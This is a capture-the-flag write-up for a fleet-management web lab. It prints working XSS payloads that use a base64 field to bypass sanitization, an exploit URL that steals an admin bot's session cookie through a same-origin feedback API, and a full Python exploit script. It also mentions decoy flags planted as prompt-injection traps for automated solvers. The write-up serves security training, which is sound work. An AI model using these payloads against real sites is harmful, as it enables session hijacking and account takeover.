Lab 207 — FleetPulse — Reflected XSS via Base64 Bypass
Lab 207 — FleetPulse — Reflected XSS via Base64 Bypass
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-20 | Status: Solved Techniques: admin_bot_exploitation, base64_encoded_xss_injection, protobuf_parameter_injection, same_origin_exfiltration, xss_auditor_bypass_via_encoding
Summary
Task: Fleet management app with protobuf-like URL encoding for map state; base64 field type (!4z) bypasses HTML sanitization applied to string type (!4s). Solution: Encode XSS payload as base64 in !4z field, submit crafted URL to admin bot via /map/report, exfiltrate admin cookie via same-origin /api/feedback POST.
Lab 207 — FleetPulse — Reflected XSS via Base64 Bypass — HackAdvisor
Description
FleetPulse is a fleet management platform used by Meridian Logistics to track vehicles, plan routes, and monitor driver performance in real-time. The platform features an interactive map view where fleet managers can visualize vehicle positions, set custom waypoints, and share map views with team members. The map system uses a compact protobuf-like wire format to encode location data, markers, and overlays into URL parameters for easy sharing. Fleet managers regularly share map view links internally, and an administrator reviews reported map issues to verify data accuracy. Your goal is to find and exploit a vulnerability in the map data encoding system that allows arbitrary code execution in a victim's browser.
English summary: A fleet management web application encodes map state (coordinates, markers, overlays) in URL parameters using a custom protobuf-like wire format. The marker label field supports both sanitized string (!4s) and unsanitized base64 (!4z) encoding types. An admin bot visits URLs submitted via a map issue report form. The goal is to achieve XSS in the admin's browser and exfiltrate their session cookie.
Credentials: user@test.com / password123
Analysis
Application Structure
The application is built on Express.js (Node.js) with the following key endpoints:
| Endpoint | Purpose |
|---|---|
/map | Interactive map view (Leaflet.js) with pb URL parameter |
/map/report | Submit URLs for admin bot review (must start with http://localhost:8080/) |
/api/feedback | JSON API — GET to read, POST to create feedback entries |
The application sets X-XSS-Protection: 1; mode=block header, and every page contains decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) in hidden HTML divs and comments as prompt injection traps.
Wire Format
The pb URL parameter uses a protobuf-like wire format documented in /js/map.js:
!field_num type value
Field reference:
!1d<lat>— center latitude (double)!2d<lng>— center longitude (double)!3i<zoom>— zoom level (integer)!4s<label>— marker label (string, sanitized)!4z<base64>— marker label (base64-encoded string, NOT sanitized)!5d<lat>— marker latitude (double)!6d<lng>— marker longitude (double)!7s<title>— overlay title (string)!8s<style>— map style identifier (string)
Vulnerability
The critical difference between !4s and !4z:
!4s<html>— HTML is sanitized/stripped before insertion into the DOM!4z<base64>— base64 is decoded and inserted raw into the HTML
This means base64-encoded HTML/JavaScript in the !4z field results in unsanitized DOM injection:
!4z<base64_of_payload> → <div class="fp-marker-label"><decoded_html></div>
The base64 encoding also bypasses the X-XSS-Protection auditor, which compares raw URL content against response content — the URL contains only base64 characters, not the actual <script> tag.
Solution
Step 1: Verify HTML Injection via Base64
Test with <img src=x onerror=alert(1)> encoded as base64:
Base64: PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==
URL: /map?pb=!1d40.7128!2d-74.006!3i12!4zPGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==
The response contains raw HTML injection:
html read-only • copy allowed<div class="fp-marker-label"><img src=x onerror=alert(1)></div>
Step 2: Craft Cookie Exfiltration Payload
Since the admin bot cannot reach external hosts (webhook.site, interact server), exfiltration must use a same-origin endpoint. The /api/feedback POST API is perfect for this.
XSS payload (147 bytes — divisible by 3 to avoid = padding in base64):
html read-only • copy allowed<script>fetch('/api/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({message:document.cookie})})</script>
Note the trailing space to make the payload exactly 147 bytes.
Base64 encoded:
PHNjcmlwdD5mZXRjaCgnL2FwaS9mZWVkYmFjaycse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHttZXNzYWdlOmRvY3VtZW50LmNvb2tpZX0pfSk8L3NjcmlwdD4g
Step 3: Build and Submit Exploit URL
Full exploit URL submitted to /map/report:
http://localhost:8080/map?pb=!1d40.7128!2d-74.006!3i12!4zPHNjcmlwdD5mZXRjaCgnL2FwaS9mZWVkYmFjaycse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHttZXNzYWdlOmRvY3VtZW50LmNvb2tpZX0pfSk8L3NjcmlwdD4g
Step 4: Retrieve the Flag
After the admin bot visited the crafted URL, the injected <script> executed in the admin's authenticated browser context, POSTing document.cookie to /api/feedback.
Reading back via GET /api/feedback:
json read-only • copy allowed{"id": 5, "message": "session_token=FLAG{REDACTED}"}
python read-only • copy allowed#!/usr/bin/env python3 """FleetPulse — Reflected XSS via Base64 Bypass exploit""" import requests import base64 import time import urllib.parse BASE = "https://062af509-85d1-4043-a7dc-e1be18b54627.labs.hackadvisor.io" # Login s = requests.Session() s.post(f"{BASE}/login", data={"email": "user@test.com", "password": "password123"}) # XSS payload — trailing space makes it 147 bytes (divisible by 3, no base64 padding) payload = ( "<script>fetch('/api/feedback',{method:'POST',headers:{'Content-Type':" "'application/json'},body:JSON.stringify({message:document.cookie})})" "</script> " ) # Encode as base64 and URL-encode b64 = base64.b64encode(payload.encode()).decode() b64_safe = urllib.parse.quote(b64, safe='') # Build exploit URL (must use localhost:8080 for admin bot) exploit_url = f"http://localhost:8080/map?pb=!1d40.7128!2d-74.006!3i12!4z{b64_safe}" # Submit report for admin bot to visit r = s.post(f"{BASE}/map/report", json={"url": exploit_url, "reason": "Map data issue"}) print(f"Report submitted: {r.status_code}") # Wait for admin bot to visit print("Waiting for admin bot...") time.sleep(30) # Read exfiltrated data feedback = s.get(f"{BASE}/api/feedback").json() for entry in feedback: msg = entry.get("message", "") if "FLAG{" in msg or "session_token" in msg: print(f"FLAG found: {msg}") break else: print(f"Latest feedback: {feedback}")